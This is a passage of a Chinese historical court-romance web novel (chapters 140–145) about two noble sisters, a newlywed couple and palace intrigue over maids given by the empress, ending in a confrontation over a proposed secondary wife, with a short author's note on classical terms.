“姐姐,我扶你进去!”姜珞道,她已经完全把那几个宫人抛之脑后,这种时候,就算天塌下来也没有姐姐的身体重要!
两人进了花罩,姜珞又是倒水又是找软垫,虽然从来没干过活,但她却仿佛无师自通一般,把姜璎伺候得明明白白。
这让姜璎更加头疼了。
“别弄了,你坐着。”
“噢!”
姜珞乖乖跪坐在姜璎面前,脸上的担忧尚未褪却,“姐姐,你真的没事儿吗?”
姜璎静静地看着她,心里想的却是。
其实她们姐妹俩生得也有几分相似。
姜璎的长相随了母亲,但别忘了,姜昀和萧晞是嫡亲的表兄妹,外甥肖舅,所以姜璎可以说是完全继承了父母的美貌,尤其是那双略显圆润的凤眼,和已故的外祖父简直一模一样。
姜昀身体里有一半萧家的血脉,姜珞的鼻子和唇瓣像父亲,单单遮住眼睛的话,姐妹俩有五分相似。
如果说两个人的五官还有些相像。
那么气质方面,就是天差地别了。
姜璎清冷出尘,温吞内敛,姜珞明艳动人,骄纵任性。
完全就是两个极端。
但一贯蛮横的姜珞,到了姜璎面前,直接变成小奶猫。
软乎乎,又爱撒娇。
姜璎的眼神柔和了很多,似乎在斟酌用词,“浓浓,你……”
哗啦——
姜珞一个手抖,不小心碰掉了短案上的茶盏。
茶水流了下来,浸透软垫。
“我、我不是故意的!”她慌忙起身,白芨连忙上前,取了帕子擦拭姜珞身上的水渍,又换了一块软垫来。
姜珞顾不得其他,忙挨到姜璎身边,连声道:“姐姐!姐姐!我刚才是不是听错了?你喊我浓浓……!”
说到这,她的声音渐渐小了下去,脸颊泛着异样的红晕,就连呼吸也跟着微微急促起来。
“姐姐…”姜珞软声道,小心翼翼凑近,“你再喊一声,再喊一声好不好?”
眼里的哀求就像是一把小锤子,闷闷砸在姜璎心头。
她想起从前的自己。
也是这样小心翼翼,只为渴求一点关注温情。
“浓浓。”姜璎轻声道。
说起来,这个小名还是她给取的。
在姜家,所有人都知道姜珞的出生是因为什么。
没有人把她当作正经主子看待,她只是姜璎的替身,必要时候会用到的工具。
就连姜珞的生母,也是爱姜璎多过自己孩子。
姜珞一周岁前,甚至没有名字,大家只“二姑娘,二姑娘”地唤她。
姜璎觉得奇怪。
她指着在羊毛毯上爬行的奶团子,口齿不清道:“妹妹,名纸!”
萧晞开始还没明白,“怎么了宝宝?”
姜璎急了,拍了拍自己胸口说:“宝宝,阿池!妹妹,名纸!”
她知道宝宝是叫她。
也一直把“阿池”当作自己的名字。
所以,妹妹的名字呢?
萧晞被女儿萌了一脸,将她搂到怀里亲了又亲,“哎呀,是阿石啦!”
姜璎歪了歪脑袋,口齿不清道:“是阿池呀!”
她可能也想重复“阿石”,奈何牙牙学语的年纪,吐字不清,从嘴里出来就变成了“阿池”。
姜璎从母亲怀里出来,走路还没利索呢,看得人提心吊胆。
紫苏连声道:“姑娘!慢点儿走!”
萧晞制止她,“没事儿,大不了就是摔一跤。”
这地上铺了厚厚的羊毛毯,就算是摔了,也疼不到哪里去。
姜璎走到妹妹身边,想蹲下来,结果重心不稳,一屁股坐在地上。
“啊,姐……姐……”奶团子抓到姜璎的手,就往嘴里塞。
“脏!不吃!”姜璎很有姐姐的风范,打了一下妹妹的手,又跟母亲道,“妹妹,
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名纸呀?”
萧晞忍俊不禁,“宝宝是不是想问,阿妹的名字?”
姜璎点头。
萧晞想了想,“既然这样,就取名单字一个珞吧。”
“落?”姜璎不满意地皱了皱鼻子。
她一岁多的时候就被父母抱在怀里学认字,到现在虽然握笔不熟练,写得也歪七扭八,但已经能认识很多字了。
“水、要有水!”
姜璎强调。
池是有水的。
三点水!
妹妹的名字当然要跟她一样才行!
萧晞看着女儿一本正经,忍不住笑出了眼泪花,她故意考道:“那宝宝,那含水的字,都有哪些呢?”
姜璎歪了歪脑袋,“深浅浓淡!”
都有三点水!
“浓浓。”她指了指妹妹,对这个朗朗上口的名字十分满意。
姜珞说的没错。
她的一切都是姐姐给予。
因为姐姐,她得以出生。
因为姐姐,她有了名字。
也是因为姐姐……此后的十多年里,她才能平安无事地长大。
姜珞哭得稀里哗啦,眼泪糊了姜璎一身。
“别哭了,你,哎…”姜璎无所适从,也不敢乱动,怕泪涕蹭她脸上。
“我有东西给你。”
“嗯?”
姜珞止住眼泪,边吸鼻子边问:“什么东西?”
姜璎拿了块帕子给她,擦干眼泪以后,才打开一旁的奇楠木匣。
“镯子?”姜珞惊喜道,“姐姐你要送我镯子?”
“这不是镯子。”姜璎取出羊脂玉镯,握着姜珞的手,轻轻戴到她腕间。
尺寸大小出乎意料地合适。
姜珞爱不释手,还想亲两口。
“姐姐,我才不傻呢,这明明就是玉镯呀!”
“这是**。”姜璎冷冷道,“从今天起,你贴身戴着,除了睡觉以外不许摘下。”
油润白腻的羊脂玉贴着手腕,沉甸甸的分量,还真有几分“**”的模样。
玉自古就是“德”的象征。
玉镯、玉佩这类作为贴身佩戴的玉器,除却美观和身份象征,更有对自我警醒的用处。
动必有方,行必有规。
“我不能时时刻刻盯着你,但它可以。你若**躁冒失,磕着碰着,让它出现一点裂纹……”
姜璎不会威胁人,最后只想出一句:
“你看我怎么收拾你。”
“……”
手腕上的玉镯顿时成了烫手山芋。
姜珞瘪了瘪嘴,委屈巴巴道:“那、那我能不能还给姐姐?”
第141章 双标
“那你还给我吧。”
姜璎倒是很好说话。
姜珞愣了一下,她就是矫情一下,姐姐怎么不按套路来?也不哄哄她。
算了…那她自己哄自己吧。
“我开玩笑呢姐姐!这可是你送我的第一件礼物,我就算命丢了,都不会让它有丁点闪失!”姜珞信誓旦旦地保证,抱着姜璎的胳膊,小鸟依人。
白芨有点鄙夷。
这也太谄媚了!
“你帮我盯着她,有任何出格行为,直接告诉我。”姜璎对白芨道。
“大姑娘放心,奴婢一定尽心尽力!”白芨立马道,脸上笑容狗腿得不行。
“阿池。”
内室响起一个声音。
紧接着,赵咎走出来,他一身黛蓝色直裾衣袍,唇红齿白、眉目含情,眼瞧着是越发俊美动人。
这成了亲的人果然不一样啊。
立在廊下的一众仆婢眼观鼻鼻观心。
假装没看见孔雀开屏。
姜珞撇了撇嘴。
嘁,狐媚子。
就是靠这张脸才讨得她姐姐欢心的吧?
“浓浓。”姜璎轻咳一声。
“啊?姐姐怎么了?”姜珞刚才走神了。
“问你呢,要不要留下来跟我们一起用午膳?”赵咎道。
用午膳?
姜珞眼睛一亮,连忙点头道:“要的要的!”
没想到赵咎这么有眼力见。
那她以后少说他两句坏话!
等等——
“你干嘛这么客气?”姜珞一脸狐疑地盯着赵咎,质问道,“你是不是心虚?新婚第二日,收了六个宫女!尽享齐人之福!你对得起我姐姐吗?”
赵咎:“……?”
真是好大一口黑锅。
砸死他算了。
“不许这么跟你姐夫说话。”姜璎道,“是我做主收下的宫人。”
梁皇后以“孝敬长辈”的名义赐下宫人,难道他们还能推辞不成?
更何况在姜璎看来,这只是一件小事,犯不上放心上膈应自己,更犯不上为此跟皇后作对,打她的脸。
姜珞却误会了,以为姜璎男女通吃。
大魏的民风说开放也开放,很多上流贵夫人都会养面首。
天水姜氏好几个出嫁女就是如此,成婚多年,膝下儿女双全,同夫君感情变淡后就开始各玩各的,只要不闹出人命来,夫家和儿女也都睁一只眼闭一只眼。
姜昀其中一个堂妹,不仅在别院养男人,还在后院养了几个貌美姑子,每日逍遥快活,别提多自在了!
她夫君也是一样的风流人物。
光契兄弟就有三个。
姜珞忽然有点同情赵咎了,长得再好看有什么用?还不是笼络不住姐姐的心。
“追求新鲜感嘛,应该的,是个人都无法避免。”姜珞悄悄看了一眼赵咎,见他不生气,大着胆子道,“不过姐姐,那几个女的长得很一般啊,你要是喜欢,回头我搜罗几个家世清白、姿色出众的过来。”
姜璎一头雾水,“你在说什么呢?我喜欢谁?那几个宫人?”
赵咎发出一声短促冷笑。
姜珞面色微微不自然,但还是挺直腰板帮姜璎说话:“姐夫,既然姐姐喜欢,你就大度些,别做那些拈酸吃醋上不了台面的事儿。你放心,等姐姐新鲜感过了,她肯定还是会好好跟你过日子的。”
语气带了几分说教。
三堂姑刚养面首那会儿,堂姑父找上门来求阿父做主,阿父就是这么说的!
她又不闹出人命,玩玩而已,有什么大不了的?要怪只能怪他没本事笼络住妻子的心!
姜珞在这方面接受度很高。
不过姐姐可以。
姐夫不行!
赵咎要是敢对不起她姐姐,她就一刀阉了他!
“姜珞!”姜璎好半天才反应过来,气得不轻,“你脑子里装的都是什么?整天胡说八道!”
不让她动手,她就动嘴!
一天天就是不肯动脑子!
“我、我怎么了?”姜珞不知道自己怎么又惹姐姐生气了,是因为这种事情不能放明面上说吗?
赵咎冷哼道:“我生气了。”
他转身离开,进了内室。
“小心眼,有什么好生气的?”姜珞腹诽道,脸颊忽然一疼。
“诶诶诶!姐、姐姐!”
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“我留下那几个宫人,是不好驳皇后脸面!你胡说八道什么呢?”姜璎捏了一下她脸蛋,可以说是气得不轻。
什么拈酸吃醋新鲜感,乱七八糟的!
顾不得教训姜珞。
她连忙往里走。
“赵咎,你别听她瞎说,我真没……”
姜珞捂着脸,想偷听,但被白芨拎了出去。
“干什么干什么,白芨你别动手动脚!”姜珞道,“我要去听着,赵咎会不会欺负姐姐!”
看样子肯定会。
白芨心里默默想,就是不知道是啃嘴巴还是……咳咳!
一众仆婢面色微红,香薷香附等人生怕九郎“收拾”了姑娘,又来收拾他们。
好说歹说把姜珞劝住了。
“二姑娘放心,九郎和女君感情深厚,顶多拌两句嘴,不会怎么样的。”
至于怎么拌嘴……
那就不好说了。
果不其然,一刻钟后,姜璎抿着红润润的唇瓣走出来,她没好气看了姜珞一眼。
姜珞缩了缩脑袋,她又不是故意误会姐姐男女通吃的。
姜珞想不到要给梁皇后面子,她以为姜璎把人留下,就是单纯的喜欢。
不喜欢赶走就好了!
谁让梁皇后自作主张赐人的!
“姐姐,姐夫……”生怕被算账,姜珞赶忙转移话题,告状道,“皇后把她表妹也送来了!我刚问了白芨,那是她舅舅的嫡次女!”
原本是进宫做美人的,要是能生个一儿半女,那就再好不过了。
结果明惠帝没要。
梁皇后就让表妹做了个一等宫女,估摸着性格不讨喜,要不然梁皇后也不会塞过来膈应赵咎。
“姐夫,她还放话说只做平妻,不做妾!”
“是吗?”
姜珞这一招祸水东引还真有用。
赵咎微微眯眼,冷笑一声,姜璎想说什么,被他捏了捏指尖。
“我来处理。”
正好缺个由头,将人遣送回去。
赵咎对姜珞微微一笑,“我跟你姐姐进宫一趟,你自个儿老实待着,等我们回来用膳。”
妻妹虽蠢,但也并非全然无用。
第142章 阿叔
作为太后娘娘的幼弟,赵咎入宫只需要递一块牌子,宫人们便会恭恭敬敬领他进去。
就连宫门前的例行搜查也一并免去。
“赵九郎君,姜女君,这边请——”
“有劳了。”赵咎颔首道。
姜璎是第一次入宫,赵咎生母早逝,被上头几个兄姐当儿子养大,四舍五入,赵太后也算是她某种意义上的“婆母”了。
“阿池。”许是察觉到了姜璎的走神,赵咎轻轻握了一下她的手,认真道,“你别怕。”
不管长姐是什么态度,喜欢或不喜欢姜璎,她都无法干涉他的任何决定。
是他先喜欢的姜璎,
是他一意孤行当街抢亲,
也是他强求来赐婚诏书。
要同她做夫妻。
长姐就算生气,也应该是气她弟弟心存妄念、品行不端,而不是把一切罪责归咎姜璎身上。
上辈子,赵咎没能保护好姜璎,这辈子,无论如何他都不能让她受半点委屈。
两人对视许久,姜璎弯了弯眼眸。
“我不怕。”
是真心话。
他带她出囚笼,获得新生,又给她毫无保留的爱,从管家算账,到重塑自我。
在无人看见的角落,她终于开始学着笨拙地爱自己,把曾经拥有过又被打散的人格一点点拼凑起来。
如果说赵咎是姜璎成长路上的引灯人,那么姨母的出现则恰恰好填补了她那一段时间里的不安。
血亲的相认,带来的是不求回报的爱。
不论萧止柔还是姜昀,他们都尽可能地把最好的一切送到姜璎面前。
用实际行动证明,何为掌中明珠。
姜璎从来不是被遗弃的孩子,她是爹爹娘亲唯一的骨肉,是姜昀力排众议定下的天水姜氏继承人。
父亲的叮嘱,姨母的教导,让姜璎的血肉筋骨愈发丰满。
她根本不用怕任何人。
长乐宫。
赵太后得知弟弟弟媳入宫,难免有些惊讶,为显重视特意换了身深衣曲裾,又吩咐宫人备好见面礼。
在等待的过程中,难免有几分尴尬。
赵太后本以为姜璎只是个身份低贱的养女,不知道使了什么手段勾引了弟弟。
结果人家摇身一变成了前梁皇室的沧海遗珠,天水姜氏嫡长女。
身边女官服侍赵太后多年,哪能看不出她在想什么,劝道:“谁也没想到这姜小娘子是这么个一波三折的来历,左右事情都过去了,您就别放在心上了。”
赵太后皱着眉,叹了口气道:“你不知道,姜昀和萧晞就这么一个女儿。”
萧晞原本要给女儿定娃娃亲,对象是汝南袁氏最后的嫡系——袁遗。
她希望萧家和袁家的血脉,能够在两个孩子身上延续。
但姜昀不同意。
他明确说过,要给女儿招婿上门。
袁遗身为汝南袁氏遗孤,就算他愿意,萧晞也不会让他入赘姜家。
女官愣了一下,“可九郎都已经成亲了!”
赵太后冷哼一声,“谁知道那个赔钱货会不会为了哄媳妇高兴,打包东西去姜家!”
话音落地,外头宫人禀报道:“娘娘,九郎他们来了。”
赵太后心里不大痛快,语气也不冷不热。
“让他们进来吧。“
“是。”
晨光下,年轻的小夫妻携手而来。
饶是阅人无数的赵太后,看到这一幕,也不免感慨一句“郎才女貌”。
“臣拜见太后娘娘,娘娘千岁千岁千千岁。”赵咎行礼问安,姜璎跟在他身旁,仪态端庄尔雅。
她感受到许多目光落在身上。
“阿叔……”
赵太后盯着姜璎的侧脸,轻轻呢喃,下意识起身走近。
梁帝同赵堰感情甚笃,萧晞没出生前,她时常跟随父亲进出前梁皇宫。
“娘娘。”女官生怕赵太后做出什么过激的举动,连忙提醒道。
“都起来吧。”略显干涩的喉咙,令发声都有些艰难,赵太后的目光一直落在姜璎身上。
袖中的手不自觉捏紧。
她脑海莫名其妙浮现一个念头:其实入赘也不是不行……
“阿姐。”赵咎的声音唤回了赵太后的理智,她神色略显不自然。
“这成了婚,不在家好好陪你媳妇,进宫做什么?”
“自然是有事请阿姐做主。”赵咎道。
他开门见山,把梁皇后早上做的事情简单说了一遍,语气带着嘲意。
“阿池感念皇后娘娘恩德,将所赐宫人安置客房。结果,她们倒是仗着皇后的势,开始作威作福,甚至口出狂言要我娶为平妻!”
“你说什么?”赵太后愣了一下,反应过来后简直勃然大怒!
“区区一介寒门女,给士族子为妾都不够格!竟然还敢妄想平妻!”
她这是瞧不起姜璎,还是瞧不起赵咎?!
“去把皇后给我叫来!”赵太后咬牙切齿,兰陵萧氏已经灭族,姜璎就是阿叔唯一的血脉,她先前不知道便也罢了,如今既然得知,自然没有坐视不管的道理。
赵太后不仅生气梁皇后自作主张,更气儿子胳膊肘往外拐!
要不是赵咎进宫诉苦,她还不知道有这件事!
这说明了什么?
说明宫里有人替梁皇后遮掩,不许此事传到赵太后耳中!
除了明惠帝,谁还有这么大本事?
赵咎心平气和告了状,就拉着姜璎坐到一边儿,给她倒了盏茶。
“进贡的雪尖芽,你尝尝。”
赵咎态度自然,姜璎看了赵太后一眼,见她没有任何反应,便接过茶盏,轻轻抿了一口。
一盏茶还没用完,梁皇后就来了。
“儿媳拜见母后,母后千岁——”
“千岁?你不盼着我死,我就谢天谢地了!”赵太后一声冷笑,梁皇后立马跪了下来。
“儿媳不敢!”
“连我的娘家人都由得你摆布,你还有什么不敢的?”
“儿媳……”梁皇后嗫嚅着唇,她没想到几个宫人,竟能让赵太后发这么大的火。
赵太后对她一向宽容和善,偶尔有些矛盾,也都被明惠帝给解决了,是以,久而久之,梁皇后就忘了自己婆母的真实脾气。
身为赵堰的嫡长女,赵太后可以说是千娇百宠长大,不管是前梁文帝,还是大魏的太祖皇帝,都视她如亲女,先帝更是专宠她多年。
这样的女人,眼里岂能容得下沙子?
“去外头跪着。”她淡淡道。
一句话,令梁皇后呆滞原地。
她不过就是赏赐了几个宫人。
赵太后怎么能让她堂堂皇后,跪在长乐宫的外头?!
第143章 罚跪
“皇后娘娘。”郑女官微微欠身,做了个请的动作,看似恭敬,实则是催促梁皇后去廊下跪着。
梁皇后面色发白,看出婆母这回是动真格的。
就因为几个宫人…
她要这样羞辱自己?
梁皇后身边的贴身女官连忙跪地磕头,解释道:“太后娘娘,皇后娘娘只是体恤赵九郎君素日节俭,所以赐下宫人,让她们好好照顾赵九郎君和姜女君,绝没有其他意思!”
太后、皇后管教妃嫔,那是理所应当。
但梁皇后不一样,她是陛下的妻子啊!
罚跪这样的惩戒,怎么能用在她身上?
这番求情不仅没有让赵太后动容半分,反而令她对梁皇后生出几分厌恶。
“区区一个女官,也敢顶撞哀家,皇后,你还真是御下有方啊。”
看来,她这个好儿媳平日里的恭敬孝顺,都是装出来的!
“儿媳不敢!”梁皇后脸上流露一丝难堪,屏风后还坐着赵咎夫妻,赵太后却一点儿也不顾及她这个皇后的颜面。
“母后教训的是,儿媳…遵命。”梁皇后低声道。
她双手交叠,伏地跪拜,依稀可见十指因微微用力而泛白,手背筋络明显。
梁皇后起身往廊下而去。
她面色苍白,跪地时背脊挺直,哪怕受了罚,也一副清冷傲骨的模样。
宫殿的地砖冰凉无比,尤其是入秋以后,丝丝缕缕的寒气钻进骨缝,不到一刻钟,膝盖便有了僵麻的痕迹。
“娘娘……”贴身女官心疼得不行,小声道,“奴婢这就去差人给陛下通风报信。”
梁皇后倔强道:“不许去。”
他们一家子,都是向着赵咎的,就算来了又如何?
不过是多一个人看她笑话罢了!
“娘娘,陛下若是知道您受苦,得多心疼啊!”女官压低声音劝道。
要她说,自家主子什么都好,就是脾气太倔!
明惠帝待她一片真心,处处包容疼惜,她不想着夫妻恩爱早日诞下皇子也就罢了,还念着一个死人!连带着对常无忌都多有偏袒。
得亏明惠帝脾气好,要是换成先帝……
估计梁皇后早就被废了!
女官说完,见主子没有吭声,便知道她的意思,给一旁的小内侍使了个眼色。
这些小动作全都被郑女官收入眼底。
她眼神流露一丝惋惜。
先帝英明神武,唯独在太子妃的人选上没有擦亮眼睛。
梁皇后要是老老实实跪上一个时辰,等赵太后气消得差不多,这事儿自然也就过去了。
她却偏偏连丁点儿委屈都受不住。
还派人去请明惠帝。
郑女官摇了摇头,把这一切都低声禀报给了赵太后。
屏风后。
姜璎靠近赵咎,小声问:“我们过来告状,会不会影响陛下和太后娘娘的母子情分?”
赵咎觉得她这样莫名可爱,也学着她压低声音,说悄悄话。
“不会。”
姜璎睁圆了眼眸,没有说话,但意思很明显。
为什么?
“陛下一向孝顺,不会因为这点小事同太后置气。”赵咎非常肯定。
娶了媳妇忘了娘,这样的事情不会发生在明惠帝身上。
他是父母爱的结晶,生下来便是太子。或许是因为从小见惯了父母恩爱的场景,所以他对梁皇后也是一样的爱护。
在明惠帝的认知里,夫妻之间,就应该像父亲母亲那样。
相互包容、恩爱不移。
妻子被罚,是因为她本身就做错了事情,明惠帝又怎么可能去埋怨母亲?
以他的性子,只会把一切责任揽到自己身上。
堂前教子,枕边教妻。
是他没有管教好妻子。
“太后,陛下来了。”
圣驾亲至的消息很快送到长乐宫。
半个时辰都不到。
明惠帝就匆匆忙忙赶来。
“阿泽。”
梁皇后养尊处优惯了,哪里受过这样的“酷刑”,只跪了两刻钟,她就开始头晕目眩,身形摇摇欲坠。
明惠帝接住了她倒下的娇躯,却并未直接将人带走。
“陛下!”
“照顾好皇后。”他落下一句,心中万般不舍,但也知道一味的袒护只会越发激化婆媳之间的矛盾。
明惠帝跪在母亲面前,低头道:“阿娘息怒,都是孩儿不孝。”
他声音隐隐含了一丝哽咽,尤其是进来时看见赵太后脸上怒容未消,心头愧疚愈发沉重。
母亲生他养他,一把年纪,还要受媳妇的气。
“湛奴。”赵太后叹了口气,亲自扶起他,“你可知我为何如此生气?”
“阿泽赐下宫人,有越俎代庖之过……”
明惠帝话没说完,就被赵太后打断。
“先前龚家送进宫的嫡次女,被皇后一并赐给赵咎,甚至还在院里头口出狂言,要做平妻!”
“什么?!”
赵太后冷笑一声,“若真是普通的宫人,我何至于大发雷霆?可你看看梁氏做的事!你问问她,我这个大家,到底哪里对不起她,要让她这样打我的脸!”
明惠帝面色微沉,没有说话。
赵太后看了一眼屏风,“陛下来了,你们还躲着做什么?”
赵咎牵着姜璎的手走出来。
明惠帝的目光落在他们手上,心里酸溜溜,前两个月还要死要活哭唧唧,现在倒是春风得意。
他怎么就没阿劫这么好的运气?
姜璎被看得有些不好意思,抽出了自己的手,恭敬行礼道:“姜璎拜见陛下,陛下万岁万岁万万岁。”
“都是一家人,不必客气。”明惠帝笑了一下。
“可别一家人了。”赵咎道,“我那姨妹今日一大早就来看望她姐姐,好巧不巧听到那几个宫人私下谈话,其中一个嚷嚷着要做就做平妻,死不做妾。”
“那你跟她解释了没有?你是不知情的!”
“解释了,没用。”赵咎冷哼一声,“她上来就是一巴掌,说我对不起她姐姐,还要跟我拼命!”
明惠帝倒吸一口凉气。
赵太后面色铁青,想说放肆!看了一眼姜璎,又硬生生把话咽了回去。
“要不是阿池护着,我整张脸怕是都要被她抓烂。”
赵咎在心里默默道,姨妹,对不住了。
赵太后咬牙切齿,举起手狠狠打了儿子背部两下,“你看看你那媳妇做的都是什么事儿!你小舅刚成亲,是想害他离婚不成?!”
赵咎轻轻碰了一下姜璎。
她面露尴尬,像是逢年过节被推着上台表演的小孩儿,“太后娘娘息怒,也许…那宫女所说,乃是她的自作主张,皇后娘娘并不知情。”
一个唱白脸一个唱红脸。
把明惠帝说得无地自容。
“阿劫,你放心!我一定给你个交代!”他终于下定决心,不管是梁家还是常家,他们都太得寸进尺了!
还有梁皇后。
就因为他给常六赐婚,所以她要这样报复阿劫?
“传令下去,皇后身体不适,暂时收回凤——”
“陛下!不好了!”梁皇后身边的女官哭道,“娘娘昏过去了!”
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“大家”:有以下几种用途含义,稍微列举几个。1、儿媳对婆母的尊称,也叫家家,阿家。2、对知识渊博、德行出众的女性的尊称,比如班昭,被人称曹大家,她夫家姓曹,(但我个人喜欢喊谢道韫为谢大家,私以为王凝之配不上她);3、对帝王以及诸侯之妻的尊称。
“离婚”:这个词最早出现《三国志》:“今世离婚,固非妇贤,然不才者乐于离弃。”
第144章 恩典
梁皇后被暂且安置在了长乐宫的偏殿。
太医还在赶来的路上,明惠帝半蹲在软榻边,轻轻揭开妻子的裤腿,两个膝盖早已通红一片。
“陛下,还是让奴婢来吧。”女官端着托盘,都是上等的伤药。
明惠帝看了眼梁皇后,她面无表情地别过脸,闭上了眼睛,摆明不想理他。
明惠帝叹了口气,什么也没说,走了出去。
女官一边儿给梁皇后上药,一边儿低声道:“娘娘,您这又是何苦呢?陛下对您一片真心……”
一片真心?
梁皇后心中默默咀嚼着这几个字,内心说不出的嘲讽荒凉。
连凤印都要收走了。
还哪来的真心?
“四姑娘也是,她怎么能在卫国公府大放厥词呢?这不是故意让人误会,是娘娘您授意的吗?”女官抱怨道,梁皇后的娘家人不争气就算了,连舅家也开始拖后腿。
“欲加之罪,何患无辞?”梁皇后轻嘲道,她不信四丫头会蠢到在人前说那些话。
说不定,是姜璎姐妹二人自导自演的一出戏。
亏她之前还觉得姜璎老实可怜,教赵咎看上,名声毁尽,却忘了,不是一家人,不进一家门!
赵太后偏心自己的弟弟,她无话可说。
但明惠帝……
他分明知道她不是那种人,却还要顺了赵太后的意,收回凤印,剥夺她管理六宫的权利!
这次是个警告。
下一次呢?
是不是就要废后了?!
女官小声道:“娘娘,您好好跟陛下服个软,认个错,再把龚四姑娘几个人接回来,这件事肯定就过去了。”
赵太后不是那种刻薄的大家,她先前为了让媳妇面上有光,还特意赏赐了梁家几位未出阁的姑娘。如果不是喜欢这个儿媳,她又何必多此一举?
女官的话,梁皇后一句都没听进去。
她闭了闭眼,语气有些厌烦。
“够了。没做过的事,就算说一千遍一万遍,我也不会认。”
凤印收回也好,废后也罢。
随他们怎么样!
但要她服软认错?
——休想!
“臣拜见陛下,太后娘娘。”刑如风恭敬行礼,身后还跟着个帮他提药箱的药童。
“别讲究虚礼了。”明惠帝道,拉着他往里走。
赵太后低骂一声:“装模作样。”
姜璎面露迟疑道:“兴许,皇后娘娘是真的不知情?”
赵太后看她一眼,略显圆润的凤眸浸润着不谙世事的温良。
就像阿叔那样。
总把别人想得很好很好……
“阿池。”赵太后握着弟妹的手,心中感慨万分,语重心长道,“看人不能只看表面,就算皇后不知情,那也是因为她的纵容,龚家的四丫头才会大放厥词。”
前朝后宫,谁不知道明惠帝独宠梁皇后一人?
俗话说得好,一人得道,鸡犬升天。
别说梁家,就是龚家的郎君姑娘,见了明惠帝,都一口一个“姐夫”地喊着。
龚四姑娘自认为自己也是嫡出,既然被表姐赐给赵咎,那肯定是做平妻来的,要不然,同样是做妾,她为什么不能做皇帝的妾?
至于赵咎会不会答应,龚四姑娘压根没考虑这个问题。
她表姐是皇后,母仪天下,难道连这点小事都办不到?
就算梁皇后办不到,那不还有明惠帝吗?
只要表姐撒撒娇,明惠帝什么不答应她?
赵太后冷哼一声,“皇帝糊涂,我可没糊涂!就算……”
话未说完,就听见里头刑如风喊道:
“恭喜陛下,贺喜陛下!皇后娘娘已经有了一个多月的身孕!”
“身、身孕?”明惠帝结巴了一下,整个人都被惊喜冲昏了头脑,他下意识起身,又坐下,握住梁皇后的手,激动道,“阿泽,你有身孕了!我们有孩子了!”
赵太后一听,也松开了姜璎的手,忙走到里头。
“真的?皇后有了身孕?”
“千真万确。”刑如风笑道。
赵太后脸上露出笑容,又担心梁皇后的身体,忍不住呵斥道:“你们到底是怎么伺候的,皇后有了身孕,这么大的事儿,竟然没有一个人察觉?”
梁皇后身边的宫人跪了一地。
梁皇后的月信脉案都有专人记录,偶尔推迟也正常。再加上,梁皇后自从知道明惠帝给常六赐婚,心情一直起伏不定,也不在意月信来或不来,宫人们怕触霉头,更是不敢提起。
梁皇后语气虚弱,“母后不要责怪她们,是臣妾不好,疏忽了自己的身体。”
明惠帝笑道:“母后,皇后有孕,乃是大喜,就让他们加倍悉心伺候,将功补过吧。”
赵太后颔首,她本来也没想在这个节骨眼上处置梁皇后身边的宫人。
“阿泽,你也别怪哀家,龚家四丫头口出狂言也不是一回两回了,先前你阿舅将她送进宫,你也是亲耳听见,她想做贵妃的。”
提到这事儿,梁皇后本就苍白的脸色又难看了几分。
明惠帝见状,连忙道:“母后,四丫头年纪小,不懂事,您就别跟她一般见识了。”
说完似乎想起赵咎夫妻还在外头。
他轻咳一声,“正好阿泽有了身孕,椒房宫人手不够,还是让四丫头她们回来伺候阿泽吧。”
明惠帝又是给台阶,又是帮忙收拾烂摊子。
奈何梁皇后不领情。
他们不是都认为小四是受她指使,才口出狂言要做平妻?
那她干脆就坐实了!
“我想跟陛下求个恩典,将小四赐给赵九郎做平妻。”梁皇后淡淡道,“陛下放心,只是平妻,绝不会越过姜大姑娘半分。”
偏殿陷入一片死寂。
所有人都听到了这番话。
包括外头的赵咎和姜璎。
明惠帝笑容僵在脸上,想发火又给憋住了,好声好气道:“阿泽,平妻到底不是正妻,小四是不是跟你说了什么?我给她寻一门亲事,再封个县主,让她风风光光出嫁,不是更好吗?”
赵太后几乎要冷笑出声。
卫国公府这一代里,只有赵言生了一个女儿,尚且都没有封赏县主。
梁皇后的表妹出嫁,竟能有此殊荣。
还真是一人得道鸡犬升天啊!
明惠帝干脆把梁家门口的石狮子也封个护国将军好了!
即将抱孙子的喜悦瞬间消失了个一干二净。
第145章 发挥
姜璎没想到进宫告状,告出了个“平妻”来。
她瞅了赵咎一眼,哼哼道:“赵九郎君,你好福气呀。”
赵咎本来还窝火,被她这一眼反而弄的哭笑不得,夫妻俩咬耳朵,“我清白都在你手里捏着呢,你好好保护我,少磕碜人啊。”
姜璎推开他,“别跟我动手动脚。”
声音不大不小,足够里头的人听见。
明惠帝和赵太后母子俩脸色一个比一个难看。
梁皇后抚着平坦的小腹,眼中闪过一抹讥讽,看来两人的感情也不过如此。
姜璎上前几步,声音平静道:“皇后娘娘赏赐恩典,乃是卫国公府之荣幸。只是臣妇同夫君有言在先,不论大小事都讲究一个公平,还请皇后娘娘——”
收回成命?
明惠帝松了松眉,在心里默默给姜璎鼓劲。
有些话,赵咎不好说,但姜璎可以。
小舅母,你别怕,勇敢说!
梁皇后嘴角浮现一抹冷笑。
就听见姜璎道:“——也赏赐平夫给我。”
平……平夫?
刑如风被口水呛到,疯狂咳嗽!他跪在地上,一边认错一边:“臣…咳咳咳!失…咳咳咳咳咳…仪…咳咳咳咳!”
阿劫真是太惨了哈哈哈哈哈哈哈!
所有人都瞪大双眼。
明惠帝大声道:“荒谬!”
赵太后惊怒道:“胡闹!”
连郑女官在内的所有宫人,齐刷刷跪了一地。
梁皇后神情微僵,怎么都没想到姜璎会提出这种要求!
屏风外人影绰约。
姜璎声线平稳,有理有据,“先国法后家法,国法从未说过,女子不许有平夫。而臣妇家中亦有祖训,为绵延后嗣者,可自行挑选夫婿。”
“赵咎有平妻,我有平夫,不仅合了我们夫妻之间的公平,还彰显了天家恩德,此乃两全其美之事。”
“请陛下、皇后成全。”
姜璎行跪拜大礼,端端正正,挑不出一丝毛病。
“胡闹!这简直是胡闹!”
赵太后气得不轻,明惠帝忙扶住母亲,一脸痛心疾首道:“小……姜璎!赵咎对你一片痴心,你怎么能、怎么能说出这种话!”
梁皇后从愣怔中回神,眼神狐疑地打量着几人。
这该不会是他们合起伙来演的一出戏吧?
“陛下,臣妇乃天水姜氏继承人。”姜璎客客气气地提醒,“父亲原本是准备让臣妇招婿的。”
言下之意,她嫁给赵咎,已经很给他面子了。
赵太后面色铁青。
这就是士族贵女的底气!想嫁就嫁,想离婚就离婚!以姜璎的出身,别说二嫁,就是三嫁四嫁,也多的是门当户对的人家!
明惠帝管天管地,还能管臣下嫁女吗?
天水姜氏可不是永安侯府那种任人拿捏的门户!
赵咎面色苍白,轻声道:“阿池,你不要我了吗?”
